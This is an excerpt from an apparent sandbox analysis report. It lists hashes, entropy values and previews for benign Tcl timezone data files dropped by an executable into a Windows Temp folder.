SHA-256:	4B33414E2B59E07028E9742FA4AE34D28C08FD074DDC6084EDB1DD179198B3C1
SHA-512:	A71CCB957FB5102D493320F48C94ADB642CCAA5F7F28BDDE05D1BB175C29BCBAC4D19DBC481AC0C80CE48F8E3840746C126CBC9CE511CA48D4E53DE22B3D66E7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Johannesburg)]} {. LoadTimeZoneFile Africa/Johannesburg.}.set TZData(:Africa/Maseru) $TZData(:Africa/Johannesburg).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Mbabane

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.911369740193625
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7HbsvFVAIgNTzbDJL2DzjEHp4DWbBn:MBaIMaHw4NHnJL2DzjEJ4DWt
MD5:	8F4C02CE326FAEEBD926F94B693BFF9E
SHA1:	9E8ABB12E4CFE341F24F5B050C75DDE3D8D0CB53
SHA-256:	029AD8C75A779AED71FD233263643DADE6DF878530C47CF140FC8B7755DDA616
SHA-512:	4B7D2D1D8DA876ABCD1E44FD5E4C992287F2B62B7C7BC3D6FD353E6312053F6762DBD11C0F27056EF8E37C8A2AF8E5111CF09D4EB6BB32EC1FF77F4C0C37917B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Johannesburg)]} {. LoadTimeZoneFile Africa/Johannesburg.}.set TZData(:Africa/Mbabane) $TZData(:Africa/Johannesburg).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Mogadishu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.828470940863702
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsVVMMvwVAIgNGExVMSt2DcBEBXCEeDcVVMMv:SlSWB9IZaM3y7VcVAIgNTxL2DFSVDkr
MD5:	B686E9408AB6EC58F3301D954A068C7E
SHA1:	C1259C31F93EB776F0F401920F076F162F3FFB2D
SHA-256:	79DB89294DAE09C215B9F71C61906E49AFAA5F5F27B4BC5B065992A45B2C183D
SHA-512:	CF96C687D33E68EB498A63EC262FC968858504410F670C6F492532F7C22F507BEACD41888B0A7527C30974DC545CCA9C015898E2D7C0C6D14C14C88F8BBED5C5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Nairobi)]} {. LoadTimeZoneFile Africa/Nairobi.}.set TZData(:Africa/Mogadishu) $TZData(:Africa/Nairobi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Monrovia

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.837701760806169
Encrypted:	false
SSDEEP:	6:SlSWB9X52D3NwTm2OHrFGxYPlHIgafTag/KVK:MBp52D3NwTmdHhmYPdIgah/OK
MD5:	47AD43D6A60EFF7A8D34482906618B4C
SHA1:	9A56DA8F158B8FC91D8AE04B438C7CA157545F63
SHA-256:	90DB2B6966B1215251E77D80B57C2192B5F88B6D3A14E444117FE1B438214406
SHA-512:	D8AE3CF5487551F388486322E4979731A992939C2F974E543EB692604BF9E08083DDD3A9243BA0C01975683FF9EA255E9BAE0F65F7918547B42AA6AEABA581C6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Monrovia) {. {-9223372036854775808 -2588 0 LMT}. {-2776979812 -2588 0 MMT}. {-1604359012 -2670 0 LRT}. {73529070 0 0 GMT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Nairobi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.762681539526016
Encrypted:	false
SSDEEP:	6:SlSWB9X52DkWJm2OHsvT5X26V/7VVdekzQ4U/w:MBp52DdJmdHsvVXHVVxQ4U/w
MD5:	616A624AF7C0613DA8682B1371A601EB
SHA1:	B9E9E7DDEDEC09886D8B5EFB0DD03A9F31E55936
SHA-256:	17F2B9541A61E87D6C2924A91AB77F3D08F71DEDD6E3C9AC83892BF68C50A81B
SHA-512:	A7AC4975C147D2B25BDF4C2FBF0F98967E72EC4165BEACE802012590D871B71659F6C1CF297BAEB41CE59190001AEFB17CDA69881D4678333EC74E3C808AD5E9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Nairobi) {. {-9223372036854775808 8836 0 LMT}. {-1309746436 10800 0 EAT}. {-1262314800 9000 0 BEAT}. {-946780200 9900 0 BEAUT}. {-315629100 10800 0 EAT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Ndjamena

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.8064239600480985
Encrypted:	false
SSDEEP:	6:SlSWB9X52DjXm2OHNseVaxCXGFaS1HkFWTvLn:MBp52DjXmdHPVX8aS2yzn
MD5:	459DA3ECBE5C32019D1130DDEAB10BAA
SHA1:	DD1F6653A7B7B091A57EC59E271197CEC1892594
SHA-256:	F36F8581755E1B40084442C43C60CC904C908285C4D719708F2CF1EADB778E2E
SHA-512:	FF74D540157DE358E657E968C9C040B8FE5C806D22782D878575BFAC68779303E6071DC84D6773BC06D299AC971B0EB6B38CA50439161574B5A50FF6F1704046
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Ndjamena) {. {-9223372036854775808 3612 0 LMT}. {-1830387612 3600 0 WAT}. {308703600 7200 1 WAST}. {321314400 3600 0 WAT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Niamey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.822255424633636
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DcdhA9Ff2DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2Dsh2f2e
MD5:	3142A6EAC3F36C872E7C32F8AF43A0F8
SHA1:	0EACF849944A55D4AB8198DDD0D3C5494D1986DA
SHA-256:	1704A1A82212E6DB71DA54E799D81EFA3279CD53A6BFA980625EE11126603B4C
SHA-512:	BB3DADC393D0CF87934629BBFAFAD3AD9149B80843FC5447670812357CC4DFBCAF71F7104EBF743C06517BB42111B0DB9028B22F401A50E17085431C9200DAB2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Niamey) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Nouakchott

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.862257004762335
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcboGb+DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2Dqbb+V
MD5:	6849FA8FFC1228286B08CE0950FEB4DD
SHA1:	7F8E8069BA31E2E549566011053DA01DEC5444E9
SHA-256:	2071F744BC880E61B653E2D84CED96D0AD2485691DDE9FFD38D3063B91E4F41F
SHA-512:	30211297C2D8255D4B5195E9781931861A4DF55C431FFC6F83FE9C00A0089ED56179C07D33B1376C5DE8C0A9ABF2CFE473EF32AD14239DFD9599EA66BC286556
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Nouakchott) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Ouagadougou

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.872638989714255
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcXCZDcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2D1DBP
MD5:	7FF39BAAF47859EE3CD60F3E2C6DFC7D
SHA1:	5CFC8B14222554156985031C7E9507CE3311F371
SHA-256:	47E40BDBAC36CDB847C2E533B9D58D09FE1DBA2BED49C49BC75DD9086A63C6EB
SHA-512:	DEEA0982593AE7757E70BD2E933B20B65CD9613891DC734AA4E6EC14D12AD119D2C69BA38E6FA4AE836C6CE14E57F35AE7F53345ACA4CF70AD67680E49BC6B7C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Ouagadougou) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Porto-Novo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.845403930433216
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqsGe4FVAIgNGESIRL2DcyTKM0DcGev:SlSWB9IZaM3y7V4FVAIgNT9L2DQD4v
MD5:	9A4C8187E8AC86B1CF4177702A2D933A
SHA1:	6B54BBBE6D7ABC780EE11922F3AC50CDE3740A1F
SHA-256:	6292CC41FE34D465E3F38552BDE22F456E16ABCBAC0E0B813AE7566DF3725E83
SHA-512:	8008DB5E6F4F8144456021BB6B112B24ADB1194B1D544BBCB3E101E0684B63F4673F06A264C651A4BC0296CB81F7B4D73D47EAC7E1EC98468908E8B0086B2DDD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Lagos)]} {. LoadTimeZoneFile Africa/Lagos.}.set TZData(:Africa/Porto-Novo) $TZData(:Africa/Lagos).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Sao_Tome

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.840627544843046
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcOFfh4DcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DHh4DB
MD5:	E627450AFEB55734B0CC06AE6B752B4C
SHA1:	2651103247636D48D27126BE295CCE6F5D458AD8
SHA-256:	6599D6DC9DBE4B5637135A3D5F17E41AE7F9610E73746067D2C72C348653AC57
SHA-512:	437AACFA9F1DB556D5B7077035918AA35D33F06546399E2FD5C2D7D431E5AD04ED79766E2A171BB1FF2A84B77FA011DB81D597E4BEAFD104EAC9BD18F778C5B4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Sao_Tome) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Timbuktu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.85737401659099
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqss1kvFVAIgNGE4Rvt2DcHdDcsP:SlSWB9IZaM3y7sYFVAIgNT4tt2DwdDBP
MD5:	AF295B9595965712D77952D692F02C6B
SHA1:	BC6737BD9BFD52FE538376A1441C59FB4FC1A038
SHA-256:	13A06D69AEB38D7A2D35DF3802CEE1A6E15FA1F5A6648328A9584DD55D11E58C
SHA-512:	E47C5EA2DFBC22CF9EAC865F67D01F5593D3CDDB51FDE24CDD13C8957B70F50111675D8E94CA859EC9B6FAA109B3EFA522C3985A69FE5334156FEE66B607006E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Africa/Abidjan)]} {. LoadTimeZoneFile Africa/Abidjan.}.set TZData(:Africa/Timbuktu) $TZData(:Africa/Abidjan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Tripoli

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	920
Entropy (8bit):	4.074538534246205
Encrypted:	false
SSDEEP:	12:MBp52D0mdHrjWC+fGZni8hRSUNvoTC3yJ/Z9vPdq8UwLVFoBZdEthEK7st5kS1R:cQIevhR5FNgTbJ3b3D0WeXR
MD5:	A53F5CD6FE7C2BDD8091E38F26EEA4D1
SHA1:	90FB5EE343FCC78173F88CA59B35126CC8C07447
SHA-256:	D2FCC1AD3BFE20954795F2CDFFFE96B483E1A82640B79ADAA6062B96D143E3C7
SHA-512:	965E42972994AE79C9144323F87C904F393BA0CDF75186C346DA77CFAA1A2868C68AF8F2F1D63D5F06C5D1D4B96BA724DD4BC0DF7F5C4BD77E379AA674AE12DA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Tripoli) {. {-9223372036854775808 3164 0 LMT}. {-1577926364 3600 0 CET}. {-574902000 7200 1 CEST}. {-512175600 7200 1 CEST}. {-449888400 7200 1 CEST}. {-347158800 7200 0 EET}. {378684000 3600 0 CET}. {386463600 7200 1 CEST}. {402271200 3600 0 CET}. {417999600 7200 1 CEST}. {433807200 3600 0 CET}. {449622000 7200 1 CEST}. {465429600 3600 0 CET}. {481590000 7200 1 CEST}. {496965600 3600 0 CET}. {512953200 7200 1 CEST}. {528674400 3600 0 CET}. {544230000 7200 1 CEST}. {560037600 3600 0 CET}. {575852400 7200 1 CEST}. {591660000 3600 0 CET}. {607388400 7200 1 CEST}. {623196000 3600 0 CET}. {641775600 7200 0 EET}. {844034400 3600 0 CET}. {860108400 7200 1 CEST}. {875919600 7200 0 EET}. {1352505600 3600 0 CET}. {1364515200 7200 1 CEST}. {1382662800 7200 0 EET}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Tunis

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1072
Entropy (8bit):	4.074604685883076
Encrypted:	false
SSDEEP:	12:MBp52DgmdHjPbwSRjneMVyDKCNFWLFyBXS9/3S3K/CBmvyncSuZSqLS2C6oPwVFD:cQUejbwSRyS2Uyc+FcJLKgzmcx9b
MD5:	1899EDCB30CDDE3A13FB87C026CD5D87
SHA1:	4C7E25A36E0A62F3678BCD720FCB8911547BAC8D
SHA-256:	F0E01AA40BB39FE64A2EB2372E0E053D59AA65D64496792147FEFBAB476C4EC3
SHA-512:	FD22A2A7F9F8B66396152E27872CCBA6DA967F279BAF21BC91EF76E86B59505B3C21D198032B853427D9FFAB394FBB570F849B257D6F6821916C9AB29E7C37A1
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Tunis) {. {-9223372036854775808 2444 0 LMT}. {-2797202444 561 0 PMT}. {-1855958961 3600 0 CET}. {-969242400 7200 1 CEST}. {-950493600 3600 0 CET}. {-941940000 7200 1 CEST}. {-891136800 3600 0 CET}. {-877827600 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-842918400 3600 0 CET}. {-842223600 7200 1 CEST}. {-828230400 3600 0 CET}. {-812502000 7200 1 CEST}. {-796269600 3600 0 CET}. {-781052400 7200 1 CEST}. {-766634400 3600 0 CET}. {231202800 7200 1 CEST}. {243903600 3600 0 CET}. {262825200 7200 1 CEST}. {276044400 3600 0 CET}. {581122800 7200 1 CEST}. {591145200 3600 0 CET}. {606870000 7200 1 CEST}. {622594800 3600 0 CET}. {641516400 7200 1 CEST}. {654649200 3600 0 CET}. {1114902000 7200 1 CEST}. {1128038400 3600 0 CET}. {1143334800 7200 1 CEST}. {1162083600 3600 0 CET}. {1174784400 7200 1 CEST}. {1193533200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Africa\Windhoek

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6288
Entropy (8bit):	3.7400827352074417
Encrypted:	false
SSDEEP:	96:Qsj67E2442ZG5tD58bEpEnvR0NnrVycST8a6l+2BTkXj0ErPVAic0jQRJo5v:Qsj6v2Z+qbEpEn+fBvkpGYv
MD5:	44AC624997617774CDF0E2E63D923771
SHA1:	C2D2EF5A46A73F5BDD33F1E37A3D9867CB9FCAC1
SHA-256:	ED790E4D5DE1588489108DAE81FCACB2F93913026334614E651FD9EBD1923206
SHA-512:	62D6E7C8F2C310B2CD7C7E957C10BE8FECE341EEC27E2B4896827C0709DB29B3DC33D2CF748001B06F764F5C7FCC639C603FA3ADC119074F54F8A2B5EB1D0C8F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Africa/Windhoek) {. {-9223372036854775808 4104 0 LMT}. {-2458170504 5400 0 SWAT}. {-2109288600 7200 0 SAST}. {-860976000 10800 1 SAST}. {-845254800 7200 0 SAST}. {637970400 7200 0 CAT}. {765324000 3600 0 WAT}. {778640400 7200 1 WAST}. {796780800 3600 0 WAT}. {810090000 7200 1 WAST}. {828835200 3600 0 WAT}. {841539600 7200 1 WAST}. {860284800 3600 0 WAT}. {873594000 7200 1 WAST}. {891734400 3600 0 WAT}. {905043600 7200 1 WAST}. {923184000 3600 0 WAT}. {936493200 7200 1 WAST}. {954633600 3600 0 WAT}. {967942800 7200 1 WAST}. {986083200 3600 0 WAT}. {999392400 7200 1 WAST}. {1018137600 3600 0 WAT}. {1030842000 7200 1 WAST}. {1049587200 3600 0 WAT}. {1062896400 7200 1 WAST}. {1081036800 3600 0 WAT}. {1094346000 7200 1 WAST}. {1112486400 3600 0 WAT}. {1125795600 7200 1 WAST}. {1143936000 3600 0 WAT}. {1157245200 7200 1 WAST}. {1175385600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Adak

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8171
Entropy (8bit):	3.783423774615603
Encrypted:	false
SSDEEP:	96:sGWQm82ctfc/TVu7pAmKABmAlJD1NPaTsrEe50IC:sGWQm67pAmKABmiD1R2sG
MD5:	5949AFB87AF85610E5C631DC54A38AD5
SHA1:	D9CCBAF5C8E4F8E9C6B1F7822F3570D063AC6B1C
SHA-256:	F6D49D601764487A9248691D6CA87E83031652110392CB6EA49FD58ACF97C8C7
SHA-512:	82AEEF83F0A7B1B9EBEDBD6C09D8E15AA434E8D5F99D740044B9DFFD3EAE5C29BB9A3B9C342D03777C1369C13E2A22971169C86B6387D2B472EAEB6810CE43DE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Adak) {. {-9223372036854775808 44001 0 LMT}. {-3225356001 -42398 0 LMT}. {-2188944802 -39600 0 NST}. {-883573200 -39600 0 NST}. {-880196400 -36000 1 NWT}. {-769395600 -36000 1 NPT}. {-765374400 -39600 0 NST}. {-757342800 -39600 0 NST}. {-86878800 -39600 0 BST}. {-31496400 -39600 0 BST}. {-21466800 -36000 1 BDT}. {-5745600 -39600 0 BST}. {9982800 -36000 1 BDT}. {25704000 -39600 0 BST}. {41432400 -36000 1 BDT}. {57758400 -39600 0 BST}. {73486800 -36000 1 BDT}. {89208000 -39600 0 BST}. {104936400 -36000 1 BDT}. {120657600 -39600 0 BST}. {126709200 -36000 1 BDT}. {152107200 -39600 0 BST}. {162392400 -36000 1 BDT}. {183556800 -39600 0 BST}. {199285200 -36000 1 BDT}. {215611200 -39600 0 BST}. {230734800 -36000 1 BDT}. {247060800 -39600 0 BST}. {262789200 -36000 1 BDT}. {278510400 -39600 0 BST}. {294238800 -36000 1 BDT}. {309960000 -3

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Anchorage

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.8881028022209834
Encrypted:	false
SSDEEP:	96:WERpxXw34N+YXSUKC8aaIqDPRs/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8s:WEZd6M/4h5sBPy+CMt/ElALLVuAH
MD5:	A1CD6589E2F4580D7334F1ED9E5FF7AB
SHA1:	593F87F30B8B766389E30322194C25441EFED694
SHA-256:	48792AAD13FB634F3BFE27B1C3752AE50950818DFF2D6B598E4AF449DC3B187B
SHA-512:	63F6197E738C51EFB830CB8440F93EDC27EACA035BA8A75383FD095928E8DEC05C305EB559018E8D4F5778D76E6CC4D659DF8F408DAA33574F47B8C7F344F877
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Anchorage) {. {-9223372036854775808 50424 0 LMT}. {-3225362424 -35976 0 LMT}. {-2188951224 -36000 0 CAT}. {-883576800 -36000 0 CAWT}. {-880200000 -32400 1 CAWT}. {-769395600 -32400 0 CAPT}. {-765378000 -36000 0 CAPT}. {-757346400 -36000 0 CAT}. {-86882400 -36000 0 AHST}. {-31500000 -36000 0 AHST}. {-21470400 -32400 1 AHDT}. {-5749200 -36000 0 AHST}. {9979200 -32400 1 AHDT}. {25700400 -36000 0 AHST}. {41428800 -32400 1 AHDT}. {57754800 -36000 0 AHST}. {73483200 -32400 1 AHDT}. {89204400 -36000 0 AHST}. {104932800 -32400 1 AHDT}. {120654000 -36000 0 AHST}. {126705600 -32400 1 AHDT}. {152103600 -36000 0 AHST}. {162388800 -32400 1 AHDT}. {183553200 -36000 0 AHST}. {199281600 -32400 1 AHDT}. {215607600 -36000 0 AHST}. {230731200 -32400 1 AHDT}. {247057200 -36000 0 AHST}. {262785600 -32400 1 AHDT}. {278506800 -36000 0 AHST}. {294235200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Anguilla

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	4.9101657646476164
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290/8J5290e/:MBaIMY9QpI290/8m90O
MD5:	F7D915076ABE4FF032E13F8769D38433
SHA1:	F930A8943E87105EE8523F640EA6F65BD4C9CE78
SHA-256:	9D368458140F29D95CAB9B5D0259DE27B52B1F2E987B4FA1C12F287082F4FE56
SHA-512:	63C99FFA65F749B7637D0DF5A73A21AC34DFEAD364479DE992E215258A82B9C15AB0D45AAF29BD2F259766346FDB901412413DD44C5D45BB8DF6B582C34F48B3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Anguilla) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Antigua

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.90033942341457
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290//MFe90e/:MBaIMY9QpI290//V90O
MD5:	25CA3996DDB8F1964D3008660338BA72
SHA1:	B66D73B5B38C2CCCA78232ADC3572BBBEB79365D
SHA-256:	A2ABBD9BCFCE1DB1D78C99F4993AC0D414A08DB4AC5CE915B81119E17C4DA76F
SHA-512:	A25AFE4FD981F458FE194A5D87C35BE5FC7D4426C1EEE8311AE655BB53364CD4AAC0710C0D7E6A91C0F248E2A6916902F4FD43A220CFF7A6474B77D93CF35C81
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Antigua) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Araguaina

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	3.9453090301458333
Encrypted:	false
SSDEEP:	48:5LP+Ih+j+R+u+W+iW+M+A+r+hN+gU+Wt+x3+XG+M+w+b+v+ux+/+C+jZ+7Y+2+AE:lP+2+j+R+u+W+L+M+A+r+L+v+Wt+h+2w
MD5:	D87879474118B09FA3B97B6B18264CF5
SHA1:	3C8624FDC65F96B6D991FD67165D52AC928416F6
SHA-256:	932D9F324563F1C4B56B17A9BC9DFE6A98473AAC4F23CD23A8DD178E4334F594
SHA-512:	E0F033BBEF514F18213686C1A097196E8E4DA778DFB947DF4A25774DA19EF6FD24EC32274B83D42D6A625F6DAE3B8CA8861C580524D388BB9C7643B799EE037A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Araguaina) {. {-9223372036854775808 -11568 0 LMT}. {-1767214032 -10800 0 BRT}. {-1206957600 -7200 1 BRST}. {-1191362400 -10800 0 BRT}. {-1175374800 -7200 1 BRST}. {-1159826400 -10800 0 BRT}. {-633819600 -7200 1 BRST}. {-622069200 -10800 0 BRT}. {-602283600 -7200 1 BRST}. {-591832800 -10800 0 BRT}. {-570747600 -7200 1 BRST}. {-560210400 -10800 0 BRT}. {-539125200 -7200 1 BRST}. {-531352800 -10800 0 BRT}. {-191365200 -7200 1 BRST}. {-184197600 -10800 0 BRT}. {-155163600 -7200 1 BRST}. {-150069600 -10800 0 BRT}. {-128898000 -7200 1 BRST}. {-121125600 -10800 0 BRT}. {-99954000 -7200 1 BRST}. {-89589600 -10800 0 BRT}. {-68418000 -7200 1 BRST}. {-57967200 -10800 0 BRT}. {499748400 -7200 1 BRST}. {511236000 -10800 0 BRT}. {530593200 -7200 1 BRST}. {540266400 -10800 0 BRT}. {562129200 -7200 1 BRST}. {571197600 -10800 0 BRT}. {592974000 -7

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Argentina\Buenos_Aires

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2010
Entropy (8bit):	3.9779263835893843
Encrypted:	false
SSDEEP:	48:5WcafJSkKSk2Sk6SktSkuSk7SkESka6SkJ31/SkeSkHSkXASkOSkFSk7SkuSkGwr:vEJaGK9+LUlT/uXgeVL+PRjG3dUXHg67
MD5:	2DDA63C37B5BDAB56F9250A98A53EACE
SHA1:	6CA1A502AD4D943A9F5E7824E48546BBD19C571D
SHA-256:	B808C84849A1D5D61F223B8A6155EDA91BA1E575C0B8CF4CDD0C499CF499C042
SHA-512:	E1A2F9B81A5ACAF0C6B30363074CDA524A341446F2C2F5F7010BBDA0F57BD8C131C31D28E23A4E62C06E3749B251F178C30C556F24B715D4B6558F09A8CEC137
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Argentina/Buenos_Aires) {. {-9223372036854775808 -14028 0 LMT}. {-2372097972 -15408 0 CMT}. {-1567453392 -14400 0 ART}. {-1233432000 -10800 0 ARST}. {-1222981200 -14400 0 ART}. {-1205956800 -10800 1 ARST}. {-1194037200 -14400 0 ART}. {-1172865600 -10800 1 ARST}. {-1162501200 -14400 0 ART}. {-1141329600 -10800 1 ARST}. {-1130965200 -14400 0 ART}. {-1109793600 -10800 1 ARST}. {-1099429200 -14400 0 ART}. {-1078257600 -10800 1 ARST}. {-1067806800 -14400 0 ART}. {-1046635200 -10800 1 ARST}. {-1036270800 -14400 0 ART}. {-1015099200 -10800 1 ARST}. {-1004734800 -14400 0 ART}. {-983563200 -10800 1 ARST}. {-973198800 -14400 0 ART}. {-952027200 -10800 1 ARST}. {-941576400 -14400 0 ART}. {-931032000 -10800 1 ARST}. {-900882000 -14400 0 ART}. {-890337600 -10800 1 ARST}. {-833749200 -14400 0 ART}. {-827265600 -10800 1 ARST}. {-752274000 -14400 0 ART

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Argentina\Catamarca

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2039
Entropy (8bit):	3.9634733329308918
Encrypted:	false
SSDEEP:	48:5f4fJSkKSk2Sk6SktSkuSk7SkESka6SkJ31/SkeSkHSkXASkOSkFSk7SkuSkGwR4:N+JaGK9+LUlT/uXgeVL+PRjG3dUXHQ33
MD5:	9F9AC2706BED81376AA10BFCFAD684DD
